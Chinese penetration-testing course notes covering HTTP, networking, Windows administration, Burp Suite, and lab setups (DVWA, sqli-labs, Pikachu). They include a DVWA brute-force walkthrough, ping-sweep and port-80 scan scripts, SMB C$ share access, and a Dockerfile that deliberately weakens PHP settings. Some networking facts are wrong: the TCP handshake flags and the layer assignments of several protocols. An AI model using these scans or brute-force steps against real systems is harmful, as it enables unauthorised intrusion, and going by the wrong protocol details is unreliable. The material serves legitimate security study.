day18_kls

课程内容

网站架构之前后端分离

前后端分离是现在开发一个站点站常用的方式,为了兼容app,小程序,大家采用前后端分离的模式来开发网站。

如何区分是否为前后端分离1.0:

查看网页源码,如果源码内容为真实显示的数据,则为前后端不分离。更准确的方法是,你的每一个操作,网站都会返回给你一个确定的网页。当然前提是这个站点是非静态的。

前端

html+css+js

后端语言

java、python、php等等

前后端分离2.0

为了解决js加载慢,网络爬虫无法正确爬取内容的问题。前后端分离2.0出现了。

前后端分离2.0在前端与后端之间添加了一个node前端服务器(实质上还是后端)。

信息收集

域名信息收集

ICP备案

whois查询

子域名收集

工具

子域名挖掘机(内置字典,仅win可用)

ksubdomain

安装: yay -S ksubdomain

在线查询
1
2
https://developers.facebook.com/tools/ct/search
https://crt.sh
搜索引擎

google、baidu、bing等

网络空间测绘引擎

shodan

fofa

hunter

钟馗之眼

其他工具

oneforall

安装

pip install -r requests.txt

构建docker镜像

docker build -t onforall:latest .

构建镜像报错

1
2
tep 1/15 : FROM --platform=$TARGETPLATFORM python:3.8-alpine3.10
failed to parse platform : "" is an invalid OS component of "": OSAndVersion specifier component must match "^([A-Za-z0-9_-]+)(?:\\(([A-Za-z0-9_.-]*)\\))?$": invalid argument

你需要安装docker-buildx

运行

这里映射了两个数据卷,一个是config另一个是result
1
docker run -v `realpath ~/tools/OneForAll/config`:/OneForAll/config -v `realpath ~/tools/OneForAll/result`:/OneForAll/result --rm oneforall:4.5 --target xxx.com run

day17_kls

课程内容

从报文的角度分析get和post请求的区别

get请求

image.png

post请求

image.png

参数位置:get的请求参数在url中(请求头),post的请求参数在请求体中。

携带数据量:url的容量有限,导致get的传参有限。

安全性:get的传参更容易被捕获,post配合https会更安全

请求头之Content-Type

常用于文件上传漏洞中

MIME 类型 | 菜鸟教程

渗透测试常关注的请求头

伪造请求头:如篡改 HostX-Forwarded-For

注入恶意 Payload:如在 User-AgentReferer 中注入 SQL/XSS 代码。

利用敏感信息:如通过 CookieAuthorization 劫持会话。

thinkphp 5.0.23-rce复现

启动漏洞环境,localhost:8000

burpsuite

在repeater中将文档中的请求复制过来,点击send即可

image.png

burpsuite之Intruder暴力破解

dvwa密码爆破

将请求发送至intruder

找到请求,将其发送到intruder

image.png

设置爆破变量

选中需要变化的值,点击add

image.png

添加字典

选择payload类型,选中字典文件

image.png

运行

image.png

筛选正确密码

查看运行结果。

image.png

对于本例,我们查看通过length排序即可获得正确密码。

image.png

验证结果,通过返回结果查看

image.png

暴力破解

防御措施:

添加不确定的参数(验证码、双因素认证)

登陆次数限制

爆破中快速筛选结果

返回的状态码

返回结果长度

burp自带的筛选

day16_kls

课程内容

burpsuite激活

奶妈级教学从0开始手把手教你使用开心版burpsuite | ziWindlu的博客

burp常用功能

Intruder

提供爆破功能

Proxy

拦截请求

Repeater

重放请求

Proxy功能设置代理

简单的代理设置,proxy/proxy setting

image.png

浏览器配置burp代理

通过浏览器插件进行代理配置,如果想要访问https的网站,还需要添加证书信任

burp添加证书信任 | ziWindlu的博客

http之状态管理

在HTTP中,Cookie 和 Session 是两种常用的状态管理机制,用于弥补HTTP协议无状态的缺陷,以便在多个请求之间保持用户状态。

cookie

存在于客户端的身份认证,每次在发送请求时请求中都会携带cookie。

存在的安全隐患

劫持、伪造

特点

大小受限,安全性较低,影响性能(每次请求都要携带)

session

存在于服务器的身份认证。客户端会存储一个session_id用于鉴定session的有效性。

存在的安全隐患

劫持

特点

存在于服务器,消耗服务器资源,相对而言安全性较高

安全问题与安全加固

cookie加固

强制使用https,防止cookie在传输时被窃取

设置httponly,让cookie避免被js解析导致出现xss漏洞

启用 SameSite 属性,限制第三方网站使用用户的 Cookie,防止 CSRF 攻击。

加密cookie,防止cookie被篡改

session加固

使用强随机生成的 Session ID,防止 Session ID 被预测或暴力破解。

限制 Session 的有效期,防止长时间未操作导致的风险。

散碎的知识点

浏览器代理插件

Proxy SwitchyOmega

下载:

去你的浏览器插件商店,搜索proxy

image.png

使用:

点点就行,注意这里的代理端口要配置成和burp相同的

image.png

linux常用的系统信息查看命令

引子

俺经常需要查看某个linux操作系统的版本信息,硬件信息,等等,做个备忘

版本信息

查看操作系统版本

1
cat /etc/os-release

实际上对于不同的发行版,他们可能会有自己的专属版本信息文件,os-release很通用,其他的我们不多作介绍了

查看内核版本架构等

1
uname -a

uname提供了一些查看某些内容的参数,我们这里仅介绍了使用-a查看所有的

检查发行版和版本号

1
lsb_release -a

lsb_release也提供了一些查看某些内容的参数

硬件信息

硬件信息

1
2
# list hardware
lshw

cpu

1
lscpu

硬盘(块设备)

1
lsblk

存储空间

1
2
3
4
# disk use 慢
du -h
# disk free 快
df -h

内存

1
free -h

pci设备

1
lspci

主板信息

1
dmidecode -t baseboard

网络

网卡信息

1
ip a

路由信息

1
route -n

arp表

1
arp -a

其他系统信息

启动时间

1
uptime

系统日志

1
dmesg

登陆用户

当前登陆用户

1
w

最后登陆用户

1
last

shell脚本

为了方便查看,俺添加了vim的折叠

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/bin/bash
echo "==============================="
echo " 系统版本信息 {{{"
echo "==============================="
echo "操作系统版本:"
cat /etc/os-release
echo
echo "内核版本:"
uname -r
echo
echo "详细内核信息:"
uname -a
echo
echo "发行版信息:"
lsb_release -a 2>/dev/null || echo "lsb_release 命令未找到,请安装 lsb-release 包"
echo
echo "}}}"
echo "==============================="
echo " 硬件信息 {{{"
echo "==============================="
echo "CPU 信息:"
lscpu
echo
echo "内存信息:"
free -h
echo
echo "硬盘信息:"
lsblk
echo
echo "磁盘使用情况:"
df -h
echo
echo "显卡信息:"
lspci | grep -i vga
echo
echo "主板信息:"
sudo dmidecode -t baseboard 2>/dev/null || echo "请以 root 权限运行以查看主板信息"
echo
echo "硬件概览:"
sudo lshw -short 2>/dev/null || echo "请以 root 权限运行以查看硬件信息"
echo
echo "}}}"
echo "==============================="
echo " 网络信息 {{{"
echo "==============================="
echo "IP 地址:"
ip a
echo
echo "路由表信息:"
ip route
echo
echo "网络适配器信息:"
lspci | grep -i network
echo
echo "测试网络连通性(到 example.com):"
ping -c 4 example.com
echo
echo "}}}"
echo "==============================="
echo " 其他系统信息 {{{"
echo "==============================="
echo "系统启动时间和负载:"
uptime
echo
echo "当前登录用户:"
w
echo
echo "系统日志(最近 10 行):"
dmesg | tail -n 10
echo
echo "}}}"
echo "==============================="
echo " 驱动和模块信息 {{{"
echo "==============================="
echo "已加载的内核模块:"
lsmod
echo
echo "}}}"
echo "==============================="
echo " 脚本运行完成 {{{"
echo "==============================="
echo "完成所有信息收集"
echo "}}}"

day15_kls

课程内容

HTTP

http超文本传输协议

url&&uri&&urn

image.png

url的规范
card-last-interval:: -1
card-repeats:: 1
card-ease-factor:: 2.5
card-next-schedule:: 2024-03-06T16:00:00.000Z
card-last-reviewed:: 2024-03-06T02:41:01.223Z
card-last-score:: 1

card-last-score:: 1
card-repeats:: 1
card-next-schedule:: 2024-08-05T16:00:00.000Z
card-last-interval:: -1
card-ease-factor:: 2.5
card-last-reviewed:: 2024-08-05T07:47:11.561Z

概念 说明 举例
scheme 协议也叫protocol http,https,ftp
username:password 认证
parameters 参数 ?id=123
fragment 片段,对资源描的补充 vue的路由

请求头

请求头 含义
User-Agent 标识客户端发送请求的用户代理(User Agent),通常是浏览器或其他应用程序的标识。
Accept 指定客户端可接受的响应媒体类型。服务器可以根据该头部信息返回适合客户端的响应。
Content-Type 指定请求体的媒体类型。
Authorization 包含了用于进行身份验证的凭证信息。通常用于向服务器提供身份验证令牌或用户名密码。
Cookie 包含了之前由服务器通过Set-Cookie头发送的Cookie信息。
Referer 标识了发送请求的页面的URL地址。服务器可以根据该头部信息判断请求的来源。
Content-Length 请求体的字节长度。
Host 指定请求的目标服务器的主机名和端口号。
If-Modified-Since 指定一个日期时间,表示如果资源自指定日期时间之后未被修改,才执行请求的操作。用于缓存控制和条件请求。
Cache-Control 控制缓存行为,包含了一系列指令,如max-age、no-cache等。
X-Requested-With 标识请求是通过Ajax发送的。

请求方式

请求方法 描述
GET 用于从服务器获取资源。请求的URL中包含要获取的资源的地址。GET方法是幂等的,多次相同的GET请求应该返回相同的结果。
POST 用于向服务器提交数据,并在服务器上创建新资源。通常用于提交表单数据、上传文件等。POST方法不是幂等的,多次相同的POST请求可能会创建多个资源。
PUT 用于向服务器上传或覆盖指定URL处的资源。PUT方法要求完全替换目标资源,如果目标资源不存在,则创建一个新资源。
DELETE 用于从服务器删除指定URL处的资源。DELETE方法用于删除指定资源,删除成功后返回204状态码或200状态码。
PATCH 用于对资源进行部分更新。PATCH方法类似于PUT方法,但是只需要传输要更新的字段。
HEAD 与GET方法类似,但只返回响应头部信息,不返回响应体。HEAD方法通常用于检查资源是否存在,获取资源的元数据等。
OPTIONS 用于获取服务器支持的请求方法、CORS(跨域资源共享)相关的信息等。OPTIONS方法请求返回服务器支持的HTTP方法列表。
TRACE 用于在请求-响应链路上执行一个回环诊断。TRACE方法会在目标服务器返回接收到的请求的完整副本,用于调试和诊断。
CONNECT 用于将请求连接转换为透明的TCP/IP隧道,通常用于代理服务器的通信。CONNECT方法通常用于HTTPS请求。

相应码

状态码 含义 说明
100 Continue 服务器已接收到请求的首部,客户端应继续发送请求主体部分
101 Switching Protocols 服务器已根据请求要求切换协议
200 OK 请求成功完成
201 Created 请求成功并创建了新资源
202 Accepted 请求已被接受,但处理尚未完成
203 Non-Authoritative Information 请求成功,但返回的信息来自第三方,非官方来源
204 No Content 服务器成功处理了请求,但响应中不包含返回的实体内容。
205 Reset Content 请求成功完成,客户端应重置当前页面
206 Partial Content 客户端只请求资源的一部分,服务器成功地响应了该部分
300 Multiple Choices 请求的资源存在多个选择,用户或代理可以选择其一进行重定向
301 Moved Permanently 资源的URL已永久移动到新位置
302 Found 资源的URL已临时移动到新位置
303 See Other 对应当前请求的响应可以在另一个URL下找到
304 Not Modified 资源未修改,客户端可以使用缓存的版本
307 Temporary Redirect 对应当前请求的响应可以在另一个URL下找到,但请继续使用原始请求URL进行访问
308 Permanent Redirect 对应当前请求的响应可以在另一个URL下找到,客户端应使用新的URL进行访问
400 Bad Request 请求无效或无法被服务器理解
401 Unauthorized 请求需要身份验证
402 Payment Required 预留状态码,表示需要付款才能访问请求的资源
403 Forbidden 请求被服务器拒绝访问
404 Not Found 请求的资源不存在
405 Method Not Allowed 请求方法不被允许
406 Not Acceptable 服务器无法根据请求的内容特性完成请求
407 Proxy Authentication Required 请求要求代理身份验证
408 Request Timeout 服务器在等待请求时超时
409 Conflict 请求存在冲突,服务器无法处理
410 Gone 请求的资源已永久消失
411 Length Required 服务器要求在请求中包含Content-Length首部
412 Precondition Failed 请求条件失败,例如请求头中指定的一些前提条件未满足
413 Payload Too Large 请求实体过大,超出服务器的处理能力
414 URI Too Long 请求的URI过长,服务器无法处理
415 Unsupported Media Type 请求的媒体类型不受支持
416 Range Not Satisfiable 服务器无法满足请求中的Range头字段指定的范围
417 Expectation Failed 服务器无法满足Expect请求头字段指定的期望值
429 Too Many Requests 客户端在给定的时间内发送了太多请求
500 Internal Server Error 服务器内部错误
501 Not Implemented 服务器不支持当前请求的功能或未能实现
502 Bad Gateway 服务器作为网关或代理,从上游服务器接收到无效的响应
503 Service Unavailable 服务器暂时无法处理请求
504 Gateway Timeout 服务器作为网关或代理,未能及时从上游服务器接收到响应
505 HTTP Version Not Supported 服务器不支持请求中所用的HTTP协议版本
-

csrf

客户端请求伪造,该漏洞的前提是请求参数可控

F12元素与网页源代码的区别

F12元素查看的内容是当前网页上真实的显示,会经过js渲染

源代码顾名思义就是源代码

week3_kls_exam

题目1

编写shell脚本,能够对指定IP地址段进行icmp探测扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/bin/bash
# 检查是否传入了 CIDR 格式的网段
if [ -z "$1" ]; then
echo "用法: $0 <CIDR格式网段>"
echo "例如: $0 192.168.0.0/24"
exit 1
fi
# 获取网段和掩码
CIDR=$1
# 将 CIDR 格式分解为网络地址和子网掩码
NETWORK=$(echo $CIDR | cut -d'/' -f1)
NETMASK=$(echo $CIDR | cut -d'/' -f2)
# 将网络地址转为十进制
ip_to_decimal() {
local IFS=.
read -r i1 i2 i3 i4 <<< "$1"
echo $(( (i1 << 24) + (i2 << 16) + (i3 << 8) + i4 ))
}
# 将十进制地址转为点分十进制
decimal_to_ip() {
local ip=$1
echo "$(( (ip >> 24) & 255 )).$(( (ip >> 16) & 255 )).$(( (ip >> 8) & 255 )).$(( ip & 255 ))"
}
# 计算起始 IP 和结束 IP
start_ip=$(ip_to_decimal $NETWORK)
end_ip=$((start_ip + (1 << (32 - NETMASK)) - 1))
echo "正在扫描网段 $CIDR ..."
# 循环扫描每个 IP
for ip in $(seq $start_ip $end_ip); do
target=$(decimal_to_ip $ip)
# 使用 ping 检查是否在线 (-c 1 表示发送 1 个包, -W 1 表示超时时间 1 秒)
ping -c 1 -W 1 $target &> /dev/null
if [ $? -eq 0 ]; then
echo "发现活动主机: $target"
fi
done
echo "扫描完成!"

运行

image.png

题目2

编写shell脚本,探测指定IP地址段有哪些计算机开启了80(HTTP)端口

本题对题目1稍加修改即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/bin/bash
# 检查是否传入了 CIDR 格式的网段
if [ -z "$1" ]; then
echo "用法: $0 <CIDR格式网段>"
echo "例如: $0 192.168.0.0/24"
exit 1
fi
# 获取网段和掩码
CIDR=$1
# 将 CIDR 格式分解为网络地址和子网掩码
NETWORK=$(echo $CIDR | cut -d'/' -f1)
NETMASK=$(echo $CIDR | cut -d'/' -f2)
# 将网络地址转为十进制
ip_to_decimal() {
local IFS=.
read -r i1 i2 i3 i4 <<< "$1"
echo $(( (i1 << 24) + (i2 << 16) + (i3 << 8) + i4 ))
}
# 将十进制地址转为点分十进制
decimal_to_ip() {
local ip=$1
echo "$(( (ip >> 24) & 255 )).$(( (ip >> 16) & 255 )).$(( (ip >> 8) & 255 )).$(( ip & 255 ))"
}
# 计算起始 IP 和结束 IP
start_ip=$(ip_to_decimal $NETWORK)
end_ip=$((start_ip + (1 << (32 - NETMASK)) - 1))
echo "正在扫描网段 $CIDR ..."
# 循环扫描每个 IP
for ip in $(seq $start_ip $end_ip); do
target=$(decimal_to_ip $ip)
# 使用 curl 检查是否开启80端口
curl "http://$target" &> /dev/null
if [ $? -eq 0 ]; then
echo "发现开启80端口主机: $target"
fi
done
echo "扫描完成!"

运行

image.png

小修改没有改脚本名字,和题目1输出不同

题目3

使用物理机CMD连接Windows 7 Samba服务,并在物理机使用CMD命令在Windows7 Samba服务所在机器C:\Windows\Temp\ 文件夹中新建 hello_chaitin.txt

step1:开启administrator用户

管理员开启cmd

image.png

设置administrator的密码并激活改用户

image.png

setp2:连接smb中的c$

image.png

setp3:cd到挂载的目录,并创建hello_chaitin.txt

image.png

D:\windows\中有Temp文件,我们无需创建,仅需创建txt即可

image.png

题目4

描述TCP三次握手与四次挥手过程

c:client,s:server

三次握手:

c:我来了哦SYN

s:知道来,来吧SYN/ACK

c:那我真的来了哦SYN

四次挥手

c:我走了哦,要想我FIN/ACK

s:知道了ACK

s:你走吧,勿念FIN/ACK

c:555我走了ACK

题目5

使用docker搭建 Pikachu 网站,要求网站服务单独使用一个容器,数据库服务单独使用一个容器

step1:分析题目

我们前往pikachu的gayhub中查看readme

image.png

几个重要的信息:

项目使用php,数据库mysql

提供了现成的镜像,和dockerfile

结合本题要求,解题步骤如下

修改pikachu提供的dockerfile

这里想偷懒直接用官方的dockerfile,但是踩了个大坑。。。。

将mysql抽离出来

创建一个docker网络

改一下pikachu的配置文件

编写docker-compose.yml

step2:修改拉取项目并修改相关配置文件和dockerfile

拉取镜像

image.png

查看dockerfile并结合ai提取关键信息

image.png

官方提供的dockerfile中将数据库密码置空了,好像是等待我们修改这里,我们修改成我们的mysql密码,修改后如下

image.png

蛋,这个不生效

修改mysql连接地址

由dockerfile可知,数据库连接地址在pkxss/inc/config.inc.php inc/config.inc.php,因为官方的dockerfile只对这两个文件修改了数据库密码。

image.png

image.png

后记:后来发现dockerfile的sed也没生效,没有改密码,所以我们手动修改

在对inc/config.inc.php的修改中,我们发现dbpw后面的root不见了,我们给他补上,防止影响我们dockerfile的逻辑

image.png

不用操心了这个根本不生效,手动改密码吧

对dockerfile的测试

build一下

image.png

失败了,被官方摆了一道,官方的dockerfile使用的镜像是arm平台的,我们替换成x64平台的0.8.0-1804-php7

整个mysql

image.png

添加一个docker网络

image.png

经历了千辛万苦终于调试成功了

image.png

step3编写docker-compose.yml

最后版本的dockerfile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
FROM mattrayner/lamp:0.8.0-2004-php7
LABEL maintainer="8023 - i@8023.moe"
LABEL description="pikachu on php7 with expect @230613"
COPY . /app/
RUN apt-get update -y &&\
apt-get install -y php7.4-dev php-pear expect tcl-dev tcl-expect-dev &&\
ln -s /usr/include/tcl8.6/tcl.h /usr/include/tcl.h &&\
ln -s /usr/include/tcl8.6/tclDecls.h /usr/include/tclDecls.h &&\
ln -s /usr/include/tcl8.6/expect_tcl.h /usr/include/expect_tcl.h &&\
ln -s /usr/include/tcl8.6/tclPlatDecls.h /usr/include/tclPlatDecls.h &&\
pecl channel-update pecl.php.net && pecl install expect &&\
sed -i '/AllowNoPassword/s/false/true/g' /var/www/phpMyAdmin-5.1.1-all-languages/config.inc.php ;\
sed -i '/display_startup_errors/s/Off/On/g' /etc/php/7.4/apache2/php.ini ;\
sed -i '/allow_url_include/s/Off/On/g' /etc/php/7.4/apache2/php.ini ;\
sed -i '/allow_url_fopen/s/Off/On/g' /etc/php/7.4/apache2/php.ini ;\
sed -i '/display_errors/s/Off/On/g' /etc/php/7.4/apache2/php.ini ;\
sed -i '$a extension=expect.so' /etc/php/7.4/apache2/php.ini ;\
phpenmod expect && \
apt-get remove -y php7.4-dev tcl-dev tcl-expect-dev &&\
apt-get autoremove -y && apt-get clean -y && rm -rf /var/lib/apt/lists/*
EXPOSE 80
CMD ["/run.sh"]

最后版本的docker-compose.yml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
version: '2'
services:
# MySQL 服务
pikachu-db:
image: mysql:5.7
container_name: pikachu-db
environment:
MYSQL_ROOT_PASSWORD: pikachu_db_pass # 设置 MySQL root 密码
MYSQL_DATABASE: pikachu # 可选:指定初始数据库
networks:
pikachu-network # 连接到指定的网络
ports:
- "3306:3306" # 映射 MySQL 端口
volumes:
- mysql_data:/var/lib/mysql # 保持数据持久化
web:
build: . # 指定 Web 容器的构建目录(包含 Dockerfile)
container_name: pikachu
networks:
- pikachu-network # 连接到指定的网络
ports:
- "8080:80" # 映射 Web 端口
depends_on:
- pikachu-db
networks:
pikachu-network: # 自定义网络
driver: bridge
volumes:
mysql_data: # MySQL 数据卷

直接运行

image.png

访问8080

image.png

存在的问题:

lnmp会多起一个mysql

使用pikachu提供的dockerfile踩的坑:

官方用的镜像是arm的

修改数据库密码的sed似乎不起作用

数据库初始化时需要创建一个pikachu的库

😢

day14_kls

课程内容

计算机网络模型

OSI&&TCP/IP

image.png

设备(网络安全相关)

应用层: WAF、IPS/IDS等

网络层:防火墙、VPN、IPS/IDS等

传输层:防火墙、VPN、IPS/IDS等

传输层常见协议

ARP、ICMP、IP

网络层常见协议

TCP、UDP、OSPF

应用层常见协议及其默认端口

协议 说明 端口号
FTP 文件传输协议 21
SFTP 基于ssh的文件传输协议 22
FTPS 支持SSL/TLS的文件传输协议 21/990
SMTP 发送邮件协议 25、587(TLS)
IMAP 收取邮件协议 143 、993 (TLS)
POP3 收取邮件协议 110 、995 (TLS)
SSH 安全远程登录协议 22
Telnet 非加密的远程登录协议 23
RDP 远程桌面协议 3389
VNC 远程桌面 5900
MySQL MySQL 数据库访问协议 3306
PostgreSQL PostgreSQL 数据库访问协议 5432
MongoDB MongoDB 数据库协议 27017
Redis Redis 数据库协议 6379
MsSQL MicroSoft数据库协议 1433
Oracle 甲骨文数据库协议 1521
HTTP 超文本传输协议 80
HTTPS 加密的 HTTP 协议 443
SMB 用于共享文件、打印机 445
NFS 网络文件系统协议 2049

常见的服务及其默认端口号

服务 端口号
weblogic 7001
tomcat 8080

IPv4

地址:0.0.0.0-255.255.255.255

内网地址&外网地址

常见的内网地址段
:LOGBOOK:
CLOCK: [2024-11-28 Thu 15:49:57]–[2024-11-28 Thu 15:49:57] => 00:00:00
CLOCK: [2024-11-28 Thu 15:49:58]–[2024-11-28 Thu 15:49:59] => 00:00:01
:END:

网段 地址范围 适用场景
10.0.0.0/8 10.0.0.0 - 10.255.255.255 大型组织,需大量地址的场景。
172.16.0.0/12 172.16.0.0 - 172.31.255.255 中型组织,灵活的子网划分需求。
192.168.0.0/16 192.168.0.0 - 192.168.255.255 小型网络,家庭和办公网络。
127.0.0.0/8 127.0.0.1 - 127.255.255.254 本地回环,设备自身通信。

一次完整的TCP请求会做什么(以HTTP请求为例)

wireshark抓包之ICMP

整个icmp包,ping baidu.com

image.png

wireshark抓包之ARP

要构造出arp包,我们可以手动进行arp请求。我们使用arping 192.168.2.198

或是删除arp表等待arp广播

image.png

wireshark抓包之TCP

浅浅构造一个http包,来观察TCP,curl baidu.com

image.png

三次握手

我来了哦SYN 😃

我知道了哦,你来吧SYN,ACK 😁

我真的来了哦SYN 🥵

四次挥手

我要走了哦,好想你FIN,ACK 😢

你走吧SYN 🤔

你走吧,拜拜了您内FIN,ACK 🤡

我走了SYN 😭

wireshark抓包之UDP

使用nc的udp模式构造udp包

image.png

TCP vs UDP

快慢、是否可靠、系统开销、是否有连接

应用场景:

TCP:数据敏感型服务,http

UDP:速度敏感型服务,直播、电话

wireshark抓包之DNS

向dns服务器发送dns请求dig kali.pcx.home

image.png

dns记录类型

A 记录:将域名解析为 IPv4 地址。

AAAA 记录:将域名解析为 IPv6 地址。

CNAME 记录:别名记录,将一个域名映射到另一个域名。

PTR 记录:反向解析记录。

MX 记录:邮件交换记录,用于电子邮件服务器。

NS 记录:指向域名的权威 DNS 服务器。

SOA 记录:起始授权机构记录,标识区域的主要信息。

TXT 记录:存储任意文本数据,常用于身份验证(如 SPF、DKIM)。

dns查询模式

递归查询

迭代查询

反向查询

参考

图解网络介绍 | 小林coding

计算机网络基础知识总结 | 菜鸟教程

day13_kls

课程内容

windows

值得注意的几点:win不区分大小写,win的路径应该这么写\xxx\xxx

windows常用的东西

注册表regedit

服务services.msc

计算机管理compmgmt.msc

windows配置:msconfig记住他就够了

远程连接mstsc

windows命令行

cmd

常用命令

cd切换目录,特殊的如果进入其他盘符应该这样X:而不是cd X:,x为你向进入的盘符

dir列出文件,列出隐藏文件-a

findstr查找内容类似grep

netstat -ano查看网络连接

ipconfig网卡信息

type输出文件内容

move移动,重命名文件

copy复制文件

小技巧

使用管理员终端:

方法1:win+x然后你就会看到管理员终端了,点击它

方法2:找到cmd.exe右键以管理员身份运行

powershell

兼容部分cmd。

用户和用户组管理

用户相关操作

查看用户信息:net user [USERNAME]

创建新用户:net user USERNAME PASSWORD /add

删除用户:net user USERNAME /delete

修改密码:net user USERNAME NEW_PASSWORD

启用/禁用用户:net user USERNAME /active:<yes/no>

用户组相关操作

查看用户组新建用户组删除用户组和用户的操作相同,将net user改为net localgroup即可

添加用户到用户组:net localgroup GROUPNAME USERNAME /add

从用户组中删除用户:net localgroup GROUPNAME USERNAME /delete

文件共享

windows默认的smb仅有administrator可以登陆,默认情况下administrator没有密码

windows中rdp安全

一般来说,如果需要rdp连接。要选择这个

image.png

phpstudy部署dvwa

安装phpstudy

启动phpstudy

下载dvwa源码

拷贝dvwa配置文件

修改dvwa配置文件

访问相关路径,创建数据库

phpstudy安全配置

数据库mysql

仅监听本地

1
2
[mysqld]
bind-address = 127.0.0.1

中间件

nginx

仅监听本地

1
2
3
4
5
6
7
8
server {
listen 127.0.0.1:80; # 仅监听本地的 80 端口
server_name localhost;
location / {
root /var/www/html;
index index.html index.htm;
}
}

apache

仅监听本地

1
Listen 127.0.0.1:80

phpstudy部署sqli-labs

源码下载

GitHub Audi-1/sqli-labs: SQLI labs to test error based, Blind boolean based, Time based.

下载后将其扔到phpstudy的www目录。

修改配置

readme是洋文,看不太懂,翻译一下。告诉我们修改sql-connections/db-creds.inc

image.png

修改

image.png

大功告成,直接访问

image.png

day12_kls

课程内容

shell脚本参数处理getopts

shell脚本模板

必须有的

脚本描述

脚本使用方法

参数处理

依赖检查

日志

模板可能需要的东西:

配置文件处理

调试模式

代理相关

分类

按协议:

http,https,socks

按功能:

正向代理,反向代理

按匿名性:

透明代理,匿名代理,高匿名代理

代理模式

系统代理,规则代理

实例&&作业

docker-tool

自动安装docker,添加代理,镜像等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
#!/bin/bash
# discription:
# a docker tool, intall script, config proxy, mirror
# author: lzf
# feature:
# 1. docker and docker-compose auto install(support centos,ubuntu,debian,kali)
# 2. proxy registry-mirrors insecure-registries auto config, via jq
help(){
echo "$0 install/i | proxy/p url | mirror/m url | mirror-addtrust/mt url | add-trust/at url | rm-stoped/rs | compose"
echo -e "\t install \t\t install docker"
echo -e "\t proxy url \t\t add proxy"
echo -e "\t mirror url \t\t add registry-mirrors"
echo -e "\t add-trust url \t\t add insecure-registries"
echo -e "\t mirror-addtrust url \t\t add registry-mirrors and insecure-registries"
echo -e "\t compose \t\t install docker-compose"
exit 0
}
init(){
source /etc/os-release
if command -v jq >/dev/null 2>&1 ;then
jq_exist=1
fi
case $ID in
centos | ubuntu | debian | kali)
;;
arch)
echo "正在编写代码,暂不支持$ID"
#exit 1
;;
*)
echo "Error: $ID is not supported."
exit 1
esac
# 整个配置文件
CONFIG_PATH=.docker_tools.conf
if [ -f $CONFIG_PATH ]; then
source $CONFIG_PATH
fi
}
# 检测依赖软件包
check_depen(){
local depen=("jq")
for c in ${depen[@]}; do
has_cmd $c || {
echo "Error: $c is not installed."
exit 1
}
done
}
has_cmd () {
command -v $1 >/dev/null 2>&1
}
install(){
case $ID in
ubuntu | debian | kali)
# 添加公钥
install -m 0755 -d /etc/apt/keyrings
curl -fsSL https://download.docker.com/linux/debian/gpg | gpg --dearmor -o /etc/apt/keyrings/docker.gpg
chmod a+r /etc/apt/keyrings/docker.gpg
# 参加仓库
if "$(. /etc/os-release && echo "$VERSION_CODENAME")" = 'kali-rolling' ; then
echo \
"deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian \
buster stable" | \
tee /etc/apt/sources.list.d/docker.list > /dev/null
else
echo \
"deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian \
"$(. /etc/os-release && echo "$VERSION_CODENAME")" stable" | \
tee /etc/apt/sources.list.d/docker.list > /dev/null
fi
# 安装
apt-get update
apt-get install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
;;
centos)
yum install -y yum-utils device-mapper-persistent-data lvm2
yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
# 这里我们换成清华的源
sed -i 's+https://download.docker.com+https://mirrors.tuna.tsinghua.edu.cn/docker-ce+' /etc/yum.repos.d/docker-ce.repo
yum makecache
yum install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
;;
arch)
# pacman -S docker
;;
esac
}
install_docker_compose(){
curl -L "https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
chmod +x /usr/local/bin/docker-compose
}
docker_config_init(){
config_file="/etc/docker/daemon.json"
#config_file="./daemon.json"
[ -f "$config_file" ] || echo "{}" > "$config_file"
}
modify_config(){
jq "$1" "$config_file" > "$config_file.tmp" && mv "$config_file.tmp" "$config_file"
}
proxy(){
modify_config ".proxies.\"http-proxy\" = \"$1\"" \
&& echo "http代理配置成功:$1" \
|| echo "ttp代理配置失败"
modify_config ".proxies.\"https-proxy\" = \"$1\"" \
&& echo "https代理配置成功:$1" \
|| echo "https代理配置失败"
# todo 校验
restart_docker
}
mirror(){
modify_config ".[\"registry-mirrors\"] |= if index(\"$1\") == null then . + [\"$1\"] else . end" \
&& echo "mirror配置成功:$1" \
|| echo "mirror配置失败"
# todo 校验
restart_docker
}
mirror_trust(){
if [[ $1 =~ http://* ]]; then
trust=${1:7:${#1}}
echo $trust
modify_config "if .\"insecure-registries\" | index(\"$trust\") | not then .\"insecure-registries\" += [\"$trust\"] else . end" \
&& echo "mirror_trust配置成功:$trust" \
